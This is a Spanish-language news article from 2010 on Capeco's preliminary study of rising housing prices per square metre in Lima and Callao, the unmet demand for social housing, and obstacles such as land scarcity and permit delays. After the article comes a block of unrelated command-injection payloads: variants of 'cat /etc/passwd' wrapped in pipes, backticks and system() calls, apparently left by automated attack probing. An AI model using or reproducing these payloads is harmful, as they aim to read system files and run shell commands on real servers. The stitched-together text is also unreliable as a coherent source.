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Precios de viviendas por m2 en Lima Metropolitana

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Publicado : 2010-09-16

 

Ca p e c o i n f o rmó q u e l a s c i f r a s
preliminares del Décimo Quinto Estudio
“El Mercado de Edificaciones Urbanas
en Lima Metropolitana y El Callao”, a
ser publicado en octubre del presente
año, muestran una tendencia al alza en el precio de las
viviendas que varía según distrito como se muestra en
la tabla adjunta.
Al final de la presentación para el lanzamiento de
este Estudio del Mercado Inmobiliario, el presidente de
Capeco agradeció al Ing. José Luis Cueto y al Ing José
Luis Ayllón por su esfuerzo y dedicación durante 14 años
para la elaboración de estos informes que estudian en
forma muy detallada la evolución de la oferta y demanda
de viviendas y oficinas en Lima y Callao; los cuales se
han convertido en un referente indispensable para los
desarrolladores inmobiliarios. Luego de agradecer a los
patrocinadores y auspiciadores por su apoyo económico,
sin el cual sería imposible llevar adelante este Décimo
Quinto Estudio, Walter Piazza de la Jara hizo algunas
reflexiones sobre la problemática del sector.
Señaló que este año se repetirá nuevamente la
tendencia registrada en años anteriores que muestra
que la demanda insatisfecha de vivienda o brecha entre
la demanda y la oferta continuará creciendo, es decir,
que el número de familias que quiere comprar una casa
y tiene los medios económicos para hacerlo continuará
aumentando, muy por encima de la oferta formal de
viviendas.
El año pasado la demanda insatisfecha en Lima
fue de 308,000 hogares, que han mejorado su
capacidad adquisitiva y tienen interés y los ingresos
suficientes para pagar la cuota inicial y tomar un crédito
hipotecario de largo plazo y que buscan una casa en
un determinado rango de precios pero no encuentran
la oferta correspondiente. Este problema se hace más
agudo en la demanda por viviendas sociales, es decir,
de menos de US$ 10 000 donde la oferta de viviendas
es casi inexistente en Lima y El Callao.
El presidente de Capeco detalló que es paradójico
que existiendo la demanda real, los subsidios al
comprador a través del bono familiar habitacional del
programa Techo Propio y el bono al buen pagador
del programa MiVivienda y existiendo numerosas
empresas formales con la capacidad técnica y financiera
para construir viviendas económicas a los precios que
demanda el mercado, exista tan poca oferta.
Igualmente agregó que la primera dificultad que
enfrentan los promotores inmobiliarios formales es la
escasez de terrenos de gran extensión con servicios
disponibles de agua y desagüe. Los precios de los
pocos terrenos disponibles hacen imposible utilizarlos
para viviendas del rango de precios de Techo Propio.
De ahí que la idea del gobierno de usar terrenos del
Estado como La Pólvora y más recientemente Collique,
a precios por debajo del mercado es muy buena, en la
medida que se hace factible ofrecer en ellos viviendas
sociales para los más pobres.
Citando al arquitecto Miguel Romero Sotelo, actual
director de Capeco, Piazza señaló que Lima ha venido
expandiéndose siguiendo el modelo de la “Invasión” en
lugar de la Inversión y que Capeco viene trabajando para
Barranco y El Callao registran incremento de más de 30%
en los precios de venta de viviendas por m2
Capeco presenta investigación del sector edificador en Lima y Callao
Walter Piazza de la Jara, presidente de Capeco.
Germán Loyaga Aliaga
convencer a los distintos actores políticos, en especial a
los alcaldes, que el modelo de la Inversión Privada para
la vivienda permitirá cerrar paulatinamente la brecha de
viviendas sociales en el Perú.
“Desafortunadamente el modelo informal de la
invasión, autoconstrucción e instalación tardía por parte
del Estado de los servicios básicos de agua y desagüe,
beneficia a muy pocos, pero puede ser atractivo para
algunos políticos que ven en este proceso social un
mercado cautivo de votos a cambio de obras. Un
ejemplo reciente señaló Piazza es la invasión de más
de 1000 hectáreas de Sedapal donde la reacción política
ha sido casi nula.
Añadió que durante el próximo debate político
municipal se debe proyectar el desarrollo de Lima
hacia el año 2030. “Queremos que Lima se convierta
en una megápolis de 20 millones de habitantes que se
extienda de Huacho a Cañete o debemos desarrollar
ciudades alternativas a Lima como Trujillo o Pisco
descentralizando más la población y su correspondiente
actividad económica.”
El presidente del gremio empresarial constructor
señaló que Capeco está terminando el primer Mapa de
la Riqueza en la ciudad de Trujillo para dotar a la ciudad
de una herramienta de planificación urbana de manera
que este ciudad que es la que más crece en América
Latina no cometa los errores de planificación urbana que
han causado el colapso del tráfico en la ciudad de Lima
en las horas punta y que esperamos pueda aliviarse
con los proyectos del Metropolitano y el Tren Eléctrico.
Asimismó precisó que la otra razón par explicar la
poca oferta de vivendas sociales formales en todo el
Perú es la demora en obtener los permisos y licencias
correspondientes indicando que varios socios de Capeco
vienen trabajando más de tres años en desarrollar
grandes proyectos de Techo Propio que se encuentran
enredados en los procedimientos burocráticos. Por ello,
señaló Piazza, Capeco ha venido trabajando de la mano
con el Ministerio de Vivienda y el MEF para aplicar la
Ley 29090 de Habilitaciones Urbanas de manera de
agilizar y hacer más predecible el proceso de obtención
de licencias.
Finalmente el presidente de Capeco recordó que la
meta de nuestra institución es crear las condiciones para
construir 100,000 viviendas al año en cuatro años y que
no debemos hablar de un boom inmobiliario en el sector
de viviendas sociales. “Recien estamos empezando
y nos tardará más de 20 años como le ha tomado a
Colombia y a Chile ofrecer una cantidad suficiente de
viviendas sociales construidas con altos estándares de
seguridad que permitan mejorar en forma efectiva la
calidad de vida de los peruanos”

 

 
 
 

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|cat /etc/passwd|

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|cat /etc/passwd.htm|

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system("cat /etc/passwd");

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.system("cat /etc/passwd").

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;system("cat /etc/passwd")

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;system("cat /etc/passwd").

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;system("cat /etc/passwd");

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|cat /etc/passwd|

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`cat /etc/passwd`

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`cat /etc/passwd`;

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|cat /etc/passwd.dat|

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:system("cat /etc/passwd");

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:system("cat /etc/passwd").

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|cat /etc/passwd.html|

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